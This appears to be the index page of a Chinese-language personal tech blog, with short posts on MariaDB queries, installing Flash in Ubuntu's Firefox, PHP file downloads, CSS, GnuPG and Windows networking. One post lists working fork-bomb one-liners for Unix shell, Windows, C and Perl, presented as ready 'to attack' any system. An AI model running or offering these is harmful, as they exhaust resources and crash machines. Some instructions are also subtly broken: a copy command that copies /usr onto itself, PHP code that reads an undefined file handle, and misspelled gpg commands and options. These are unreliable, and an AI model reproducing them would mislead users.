發表文章

MariaDB 查詢特殊條件

有些特殊條件查詢,需要利用到組合式或JOIN方式查詢。例如:我們要查詢該表格內,有符合在其他表格的條件,皆不要列出的資料。此時可以用
select * from this_table where condition not in ( select condition from another_table );

select * from this_table except select condition from another_table;

參考資料
https://stackoverflow.com/questions/8768254/select-values-from-a-table-where-exclude-values-in-another-table

https://mariadb.com/kb/en/library/subqueries-and-joins/


Ubuntu 18 安裝 flash player plugin 給內建 firefox

圖片
Ubuntu內建的firefox無法正確顯示flash 物件,藉由以下網頁
 https://get.adobe.com/flashplayer/about/
得知需要安裝的版本為 NPAPI,
所以我們從以下網站下載 NPAPI 的 tar.gz 檔案,如圖一
https://get.adobe.com/flashplayer/otherversions/















(圖一)

下載後,利用指令
 tar  zxvf flash_player_npapi_linux.x86_64.tar.gz
解壓縮後,接著讀 readme.txt 內容,可得知須複製 libflashplayer.so 至firefox plugin的資料夾,與複製解開之 usr資料夾底下的所有檔案至 /usr。如
cp libflashplayer.so /usr/lib/mozilla/plugins/  或 
cp libflashplayer.so /usr/lib/adobe-flashplugin
以及
cp -r /usr/* /usr
接著再重啟動 firefox 瀏覽器,連結測試網址https://get.adobe.com/flashplayer/about/
若成功就有版本訊息!

或是
參考
https://help.ubuntu.com/stable/ubuntu-help/net-install-flash.html.en
https://help.ubuntu.com/stable/ubuntu-help/addremove-sources.html.en#canonical-partner


fork bomb 的 DoS

在各種環境下,皆可使用該指令方式攻擊:
1. Unix-like Shell
$ :(){:|:&};:   # $為命令提示字元,如同 fbomb(){fbomb|fbomb &}; forkbomb

2.  Windows
> %0 | %0   # > 為命令提示字元

3. C with POSIX
#include<unistd.h>

int main(){
while(1)  // always true
   fork();
return 0;
}


4. Perl
fork while fork

參考資料
https://askubuntu.com/questions/159491/why-did-the-command-make-my-system-lag-so-badly-i-had-to-reboot

https://zh.wikipedia.org/wiki/Fork%E7%82%B8%E5%BC%B9

PHP利用header()下載檔案,來隱藏路徑並解決檔案超過 memory_limit 限制

檔案下載可直接使用 <a href="[filepath]">檔案下載</a>來直接下載檔案,但路徑卻會輕易被得知,之後只要有心人複製 [filepath]貼到瀏覽器,就可以直接下載,而無需透過網頁點選。
此時可利用header來隱藏檔案連結路徑。
1. 先用 SQL資料表,存取檔案路徑與產生該路徑之唯一鍵,如以下
  $filekey = md5( [filepath] );
  製作PHP來製作 $filekey 與 $filepath 之對應。
利用 POST 或 GET 來傳遞 filekey ,傳遞前使用 urlencode()來編碼,再利用 urldecode()
來解出 $filekey 並搜尋出相對應的 $filepath。

2. 接著利用 header() 來下載 filepath,利用 finfo 類別來偵測檔案類型:
<?php
  $finfo = finfo_open(FILEINFO_MIME);
  header('Content-Type: '.finfo_file($finfo, $filepath));
  header('Content-Description: File Transfer');
  header('Content-Transfer-Encoding: binary');
  header('Cache-control: private');
  header("Content-Length: ". (string)filesize($filepath));
  header("Content-Disposition: attachment; filename=".basename($filepath));
  ob_clean();
  ob_flush();
  readfile($filepath);

  /*  以下修正檔案超過 memory_limit 大小造成之錯誤  */

  while (!feof($fp))
    {
    echo fread($fp, 65536);
    ob_flush();
    }
  fclose($fp);

  finfo_close(…

利用CSS讓整體區塊改變字型大小樣式

要同批改變超連結字體大小,可使用CSS方式如以下:

<style>
#myid{ font-size:16px; }
.myclass{ font-size:20px; }

.a{font-size:22px; }
</style>

<html>
<a href="#">字大小為22px</a>
<div id="myid">字體大小為16px</div>
<div class="myclass">字體大小為20px</div>
</html>

參考資料
https://www.w3schools.com/css/css_font.asp

Ubuntu Linux製作個人GnuPG簽章,來加密文件與訊息

圖片
1. 下載GnuPG
apt install gunpg

2. 產生 PG 密鑰,會詢問真實姓名與電子郵件地址(組成所謂的用戶ID),接著會詢問密碼,請輸入兩次用以確認。如圖一
  gpg --gen-key   #快速產生

gpg --full-generate-key

3. 再產生取消的證書,以備密鑰作廢可以請求提供公鑰伺服器來取消公鑰
 gpg --gen-revoke

gpg --list-keys 可以顯示公鑰與私鑰
公鑰文件存在 ~/.gnupg/pubring.kbx

4. 匯出公鑰與私鑰
gpg --armor --output pub_key.crt --export user_ID   #用戶名稱公鑰

gpg --armor --output pri_key.crt --export-secret-keys user_ID # 用戶名稱私鑰,須輸入密碼


5. 上傳公鑰至公鑰伺服器如
https://pgp.mit.edu/

https://pgp.key-server.io/

gpg --send-keys user_ID --keyserver pgp.mit.edu

可利用
gpg --fingerprint 來取得公鑰指紋並公開讓人比對公鑰伺服器提供之公鑰是否為真

6. 加密文件,先匯入對方公鑰,對方讀取僅需要他的私鑰與密碼
gpg --import myfriend_pub.crt  #可請對方發送或是從上述公鑰伺服器尋找

gpg --recipient friend_ID --output mydoc.txt.encrypt --encrypt mydoc.txt   # ID通常是 username<email>

解密可用
gpg mydoc.txt.encrypt


7. 利用個人私鑰對文件做簽章,以證明本人所發
gpg --sign mydoc.txt

若想單獨簽名文件 .sig 與內容分開放,可以用以下
gpg ---armor -detach-sign mydoc.txt

對方可利用您的公鑰,來驗證
















(圖一)

























(圖二)


參考資料
https://www.gnupg.org/gph/en/manual/x135.html
https://newtoypia.blogspot.com/2013/12/gnupg-pgp.ht…

Windows 設定關閉 task offloading

1. 搜尋 cmd.exe -> 滑鼠右鍵 -> 使用管理者權限開啟
2. 關閉
netsh int ip set globally taskoffload=disable

開啟
netsh int ip set globally taskoffload=enable

參考
https://docs.microsoft.com/en-us/windows-hardware/drivers/network/task-offload